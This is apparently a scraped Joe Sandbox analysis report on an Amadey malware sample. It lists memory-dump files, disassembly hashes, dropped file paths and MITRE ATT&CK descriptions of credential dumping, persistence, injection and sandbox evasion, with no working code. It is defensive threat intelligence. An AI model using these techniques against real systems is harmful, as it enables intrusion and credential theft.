Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 545fa1bb137ba125ec655ad196ba56a8071035de3da6f14dd1c79836b00470a9
Instruction ID: 190851a0fb9005cf2766bbd5d5e8c0c1ef7cfc381b288dc76503133a976026cd
Opcode Fuzzy Hash: 545fa1bb137ba125ec655ad196ba56a8071035de3da6f14dd1c79836b00470a9
Instruction Fuzzy Hash: CCE09235B0031877CA00B769E85ACAEBBFD9E84B117150056B515A3391DF74EE05CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4B5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF4B8C

Strings

version, xrefs: 00AF4B71
pScheduler, xrefs: 00AF4B84

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: e24c2a492195b2ba43f8b993a3369618c11575601855b53831d9308cdf6028be
Instruction ID: 1cec7e3521f1d04a7abdc5e9ac3c1683015d763f7fe7904c0d96c4a611a4ebba
Opcode Fuzzy Hash: e24c2a492195b2ba43f8b993a3369618c11575601855b53831d9308cdf6028be
Instruction Fuzzy Hash: C6E08C3454020CB6CF10EBA4E84AFEE3BF89B14746F108161BA14290A297B8DAC9CB81

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UeW2b6mU6Z.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_590971cd60.exe_149de64985787461d87d0d1efcae31c73651fe_a5a86e23_910ffeb1-ded4-48c0-afeb-48341804a6e8\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_1bf26049f73fda96130f9655cb8501eed2c1a51_71691813_bda1928f-30fd-4554-8fe6-8c6e4b25f618\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B1D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C28.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C58.tmp.xml

Windows Analysis Report
UeW2b6mU6Z.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre